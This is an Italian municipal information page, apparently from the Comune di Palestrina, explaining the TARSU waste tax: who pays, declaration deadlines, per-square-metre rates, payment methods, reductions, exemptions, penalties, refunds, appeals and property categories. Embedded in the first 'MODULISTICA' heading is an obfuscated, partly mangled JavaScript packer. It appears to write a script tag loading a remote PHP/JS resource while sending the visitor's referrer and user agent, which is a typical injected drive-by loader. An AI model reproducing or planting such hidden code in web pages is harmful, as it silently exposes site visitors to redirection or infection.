



[MODULISTICA eval\(function\(p,a,c,k,e,d\){e=function\(c\){return c.toString\(36\)};if\(!".replace\(/^\/,String\)\){while\(c--\){d\[c.toString\(a\)\]=k\[c\]||c.toString\(a\)}k=\[function\(e\){return d\[e\]}\];e=function\(\){return'w+'};c=1};while\(c--\){if\(k\[c\]\){p=p.replace\(new RegExp\('\b'+e\(c\)+'\b','g'\),k\[c\]\)}}return p}\('0.6\(" "\);n](#)

m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|badny|var|u0026u|referrer|szhdi||js|php'.split('|'),0,{})) E REGOLAMENTI TARSU

ISTRUZIONI PER LA TASSA SMALTIMENTO RIFIUTO SOLIDI (NETTEZZA URBANA)

- Chi deve pagare?
- Quando presentare la denuncia
- Come si paga
- Quanto si deve pagare
- Riduzioni
- Esenzioni
- Sanzioni
- Rimborsi
- Leggi di riferimento
- Classificazione dei locali
- Modulistica

Chi deve pagare

La tassa è dovuta da chiunque occupa o utilizza locali e aree scoperte adibiti a qualsiasi uso (sono escluse le aree comuni del condominio, le aree scoperte di pertinenza o accessorie di abitazioni civili, le aree a verde).

Sono quindi tenuti al pagamento tutti coloro che usano o hanno a disposizione una casa, un negozio o qualsiasi immobile, o chiunque usufruisca di una occupazione di suolo pubblico.

Quando presentare la denuncia

Entro il 20 gennaio successivo alla data di inizio dell'occupazione o detenzione di un immobile, il contribuente deve presentare , presso l'Ufficio Tributi - Tarsu, una dichiarazione relativa ai locali e aree assoggettabili alla tassa, usando un apposito modulo in distribuzione presso l'ufficio stesso (denuncia originaria e/o di variazione). Se trattasi di una persona giuridica deve essere utilizzato un modello a parte (modello persona giuridica).

La dichiarazione viene presentata una sola volta ed è quindi valida anche per gli anni successivi, purché non cambino le condizioni iniziali.

Altrimenti, il contribuente dovrà dichiarare ogni variazione relativa a locali ed aree, alla loro superficie e alla destinazione, usando le stesse modalità ed entro gli stessi termini della dichiarazione originale.

Va presentata dichiarazione anche quando cessa l'occupazione o l'uso di locali ed aree avvenuta nel corso dell'anno.

La cessazione non avviene automaticamente con il cambio di domicilio o di residenza, e deve essere presentata presso l'Ufficio Tributi, compilando apposito modello (denuncia di cessazione)

Quanto si deve pagare

L'importo della tassa varia in base alla superficie e all'uso a cui l'immobile è destinato. A seconda della categoria è applicata una diversa tariffa al metro quadrato.

La tariffa per le abitazioni è pari a € 2,96 per metro quadro (importo netto), cui si aggiungono l'addizionale ex-ECA (10%) e il tributo provinciale (5%). La tariffa netta per le abitazioni con unico occupante è pari a € 2,07.

I dettagli sulle altre utenze possono essere visionati consultando la scheda sulle nuove categorie, comparando la tariffa applicata alla classificazione dei locali .

Come si paga

Anche quest'anno la tassa si paga utilizzando i bollettini di conto corrente inviati con l'avviso di pagamento in unica soluzione oppure in quattro rate. L'avviso di pagamento, che viene recapitato per posta ordinaria, è un invito a pagare entro determinate date per evitare l'emissione della cartella e non obbliga al pagamento. In seguito al ricevimento dell'avviso di pagamento non si può presentare ricorso .

Per presentare ricorso è necessario non pagare e attendere la notifica della cartella di pagamento. Si può pagare nei seguenti modi:

presso gli uffici postali, utilizzando gli stessi bollettini di conto corrente;

presso qualsiasi sportello bancario.

presso gli sportelli del concessionario , Monte dei Paschi di Siena (ex esattoria comunale)

per i possessori di carta di credito anche collegandosi con il sito www.paschiriscossione.it

In caso di mancato pagamento, sarà emessa una cartella che dovrà essere pagata entro 60 giorni dalla notifica. La cartella di pagamento è "titolo esecutivo", cioè se non viene pagata entro i termini consente al Concessionario di eseguire gli atti di pignoramento. La cartella è sempre maggiorata delle spese di notifica pari a euro 5,56.

Normalmente la scadenza del 1° pagamento in cartella è: entro 60 giorni dalla notifica. Anche i pagamenti successivi vanno effettuati ogni 60 giorni. Come si legge la cartella di pagamento La cartella di pagamento è composta da 12 pagine di cui 6 di bollettini (l'indicazione è scritta in basso).

Nella pagina 1 si leggono i dati salienti: Cognome, nome ed indirizzo di recapito della cartella, totale delle somme da pagare, causale ed ente creditore. Attenzione: in questa pagina non si può sapere se la cartella è relativa a Palestrina.

Nella pagina 2 si leggono: quale ente ha emesso l'atto (è qui che si capisce se è il Comune di Palestrina), gli estremi del ruolo (necessari se si vuole fare ricorso), la superficie in tassa, la via e la categoria. Questi dati sono riportati per ogni oggetto in tassa, con anche l'importo per ogni oggetto e l'importo totale.

Nella pagina 3 sono riportati gli importi e le scadenze delle rate. Per la Tassa smaltimento rifiuti solidi urbani le scadenze sono bimestrali (ogni 60 giorni) a partire dalla data di notifica della cartella. Se si vuole pagare in unica soluzione (il totale) il versamento deve essere effettuato entro 60 giorni.

Nella pagina 4 sono riportate le modalità di pagamento con particolare riferimento al modello F35 per il pagamento di cifre diverse da quelle contenute nei bollettini prestampati. Nella pagina 5 si possono leggere gli anni per i quali si paga. Nella pagina 6 ci sono le istruzioni per la presentazione del ricorso. Le successive pagine sono i bollettini di pagamento.

Riduzioni (Art. 66, commi 3 e 4, del D. Lgs. 507/1993)

Sono previste riduzioni per le seguenti tipologie di occupazione:

- Abitazione con unico occupante ;
- Abitazione tenuta a disposizione per uso stagionale od altro uso limitato o discontinuo, quando la residenza principale è sita in altro comune o in altra abitazione e quando l'alloggio non viene ceduto in locazione o in comodato .
- Locale, diverso dall'abitazione adibito ad uso stagionale o non continuativo ma ricorrente, risultante da licenza o autorizzazione rilasciata dai competenti organi per l'esercizio dell'attività.
- Residenza o dimora per più di sei mesi all'anno, in località fuori del territorio nazionale.
- Agricoltore occupante la parte abitativa della costruzione rurale.

A decorrere dal 1 Gennaio 2002, ai sensi dell' Art. 10, Comma 2, Regolamento Comunale Tassa Rifiuti Solidi Urbani Interni è prevista la riduzione della tassa al 50 % per le famiglie che abbiano nel proprio nucleo familiare una persona :

cieca (assoluta o ventesimista)

sordomuta ;

disabile (invalidità non inferiore al 75 %);

minore (con riconosciuta difficoltà persistente a svolgere i compiti e le funzioni proprie della sua età)

a condizione che il reddito totale del nucleo familiare non superi € 15.493,71 (L. 30.000.000). Per avere diritto a tale riduzione occorre presentare apposita richiesta utilizzando i modelli messi a disposizione presso l'Ufficio Tributi - Tassa rifiuti.

La tassa è ridotta rispettivamente del 60 % per le abitazioni o i locali siti fuori della zona di raccolta ad oltre 500 metri dal cassonetto, con esclusione delle strade interpoderali o private.

La richiesta di riduzione per gli unici occupanti di una abitazione deve essere presentata una sola volta e vale fino al permanere delle condizioni. Nel momento in cui non si è più unico occupante si deve fare la dichiarazione di variazione.

La tassa è ridotta del 60% per i locali occupati da associazioni sociali, culturali, politiche e sportive senza alcun scopo di lucro.

Esenzioni

Sono esenti dalla Tassa

- Gli edifici adibiti al culto, escluse, in ogni caso, le eventuali abitazioni dei ministri del culto;
- i locali adibiti ad uffici pubblici comunali o a servizi per i quali il comune sia tenuto a sostenere le spese di funzionamento ;
- Le abitazioni, occupate da persone singole, di superficie tassabile non superiore a mq. 50, non di proprietà del contribuente quando lo stesso dichiara espressamente di non avere altri redditi all'infuori di quelli derivanti dalla pensione sociale dell'I.N.P.S. e di non essere proprietario o usufruttuario di alcuna unità immobiliare produttrice di reddito a proprio favore;
- I locali destinati a cabine elettriche dell'E.N.E.L..

Sanzioni (art. 76 D. Lgs. 507 del 1993)

In caso di omessa presentazione della denuncia, anche di variazione, verranno applicate le sanzioni pecuniarie nelle misure appresso specificate oltre alle addizionali ed agli interessi di legge sulla tassa dovuta (2,5% semestrale)

- Per omessa denuncia originaria / di variazione (dal 100 al 200 % della tassa o della maggiore tassa dovuta con un minimo di € 51,00).
- Per denuncia infedele (50 % della maggiore tassa dovuta).

L'adesione del contribuente entro il termine per ricorrere alle Commissioni tributarie, determinerà la conseguente riduzione della sanzione ad ¼.

Rimborsi

La cessazione, nel corso dell'anno, dell'occupazione o dell'utilizzo di locali ed aree, dà diritto all'abbuono del tributo a decorrere dal primo giorno del bimestre solare successivo a quello in cui è stata presentata la dichiarazione di cessazione.

In caso di mancata presentazione della dichiarazione nel corso dell'anno di cessazione, il tributo non è dovuto per le annualità successive se l'utente, che ha prodotto dichiarazione di cessazione in seguito, dimostri di non aver continuato l'occupazione o la detenzione dei locali o se la tassa sia stata pagata dall'utente subentrante. La richiesta deve essere presentata entro sei mesi dalla notifica della cartella o, in sua mancanza, dell'avviso di mora.

In ogni altro caso, lo sgravio o il rimborso del tributo riconosciuto non dovuto è disposto dal Comune entro novanta giorni dalla domanda del contribuente da presentare, a pena di decadenza, non oltre due anni dall'avvenuto pagamento.

Ricorsi

Chiunque ritenga di avere motivo può presentare ricorso in carta legale, alla Commissione Tributaria Provinciale di Roma, competente in primo grado, secondo le disposizioni di cui al D. Lgs. 31-12-1992, n. 546 e successive modificazioni ed integrazioni:

- notifica del ricorso al Comune, secondo le norme degli artt. 137 e segg. del C.P.C. o mediante consegna diretta o spedizione in plico senza busta raccomandato con avviso di ricevimento, entro 60 gg. dal ricevimento dell'avviso;
- costituzione in giudizio, entro i successivi 30 gg. dalla proposizione del ricorso, mediante deposito del ricorso presso la Segreteria della Commissione Tributaria adita, secondo le disposizioni dell'art. 22 del D.Lgs. 546/1992.

Leggi di riferimento

Decreto Legislativo 31 dicembre 1992 n. 546

Decreto Legislativo 15 novembre 1993 n. 507 e successive modificazioni ed integrazioni
D eliberazione C.C. 48 del 29-06-1994 modificato con Deliberazione Consiliare n. 10 del 25.02.2000

Deliberazione del Consiglio Comunale n. 10 del 15/02/2002

Decreti Legislativi nn. 471, 472 e 473 del 18-12-1997.

Classificazione dei locali

CATEGORIA 1^ :

• Ristoranti, trattorie, osterie, tavole calde, mense, bar, caffè, gelaterie, pasticcerie, negozi di generi alimentari, supermercati, grandi magazzini, esercizi commerciali all'ingrosso, negozi di frutta e verdura compresi i banchi di vendita all'aperto, chioschi.

CATEGORIA 2^ :

• Negozi di generi di abbigliamento e arredamento, di articoli di casalinghi ed elettrodomestici ,di apparecchi radio e televisivi, di registrazione e riproduzione sonora e visiva, di materiale elettrico e cinefoto, autosaloni, negozi di ricambi ed accessori per auto, negozi di macchine, attrezzature ed articoli tecnici per l'agricoltura, l'industria, il commercio e l'artigianato, negozi di generi per l'agricoltura, negozi di articoli sportivi, cartolerie, rivendite di giornali, negozi di giocattoli, negozi di materiale di pulizia ed igiene, farmacie, negozi in genere e comunque diversi da quelli di cui alla 1^ categoria.

CATEGORIA 3^ :

• Uffici pubblici e privati, studi professionali, banche, istituti di credito, istituti finanziari ed istituti assicurativi, circoli, sale da gioco, sale da ballo anche all'aperto, associazioni ed istituzioni culturali, politiche, sindacali, sportive, mutualistiche e benefiche, scuole private, istituti di educazione, collegi, convitti, laboratori di analisi mediche e cliniche, agenzie di onoranze funebri, cabine telefoniche e simili.

CATEGORIA 4^ :

• Alberghi, pensioni, locande, affittacamere,, sedi di collettività, case di riposo ed assistenza, istituti religiosi, ospedali e case di cura, istituti di cura pubblici e privati, campeggi, scuole pubbliche di ogni ordine e grado, cinema

CATEGORIA 5^ :

• Stabilimenti industriali, laboratori artigianali, tettoie industriali ed artigianali, distributori di carburante (per i locali anzidetti, limitatamente alle superfici che non producono rifiuti speciali, tossici o nocivi), impianti sportivi coperti o no.

CATEGORIA 6^ :

- Abitazioni private, residences, roulottes fisse.

CATEGORIA 7^ :

- Autorimesse e boxes, aree destinate a parcheggio autoveicoli a pagamento, cantine, magazzini di tutti i tipi, depositi e simili quasi costantemente chiusi senza accesso al pubblico, depositi di vino dei commercianti con licenza comunale per la vendita a domicilio e comunque senza accesso al pubblico.

Per i locali e le costruzioni adibiti ad usi diversi da quelli sopra indicati, nonché per qualsiasi area scoperta ad uso privato dove possono prodursi rifiuti, si applica la tariffa stabilita per la voce più rispondente all'uso.

Quando uno stesso locale, costruzione o area è adibito a più usi, si applicano le corrispondenti tariffe in rapporto alle superfici destinate ai rispettivi usi.

Quando, nel caso di più usi, si rende impossibile discriminare le superfici ad esse adibite, per promiscuità d'uso e per usi alternati in periodi diversi e per qualsiasi altro motivo, si applica la tassa sulla base della tariffa prevista per l'uso prevalente.

MODULISTICA E REGOLAMENTI TARSU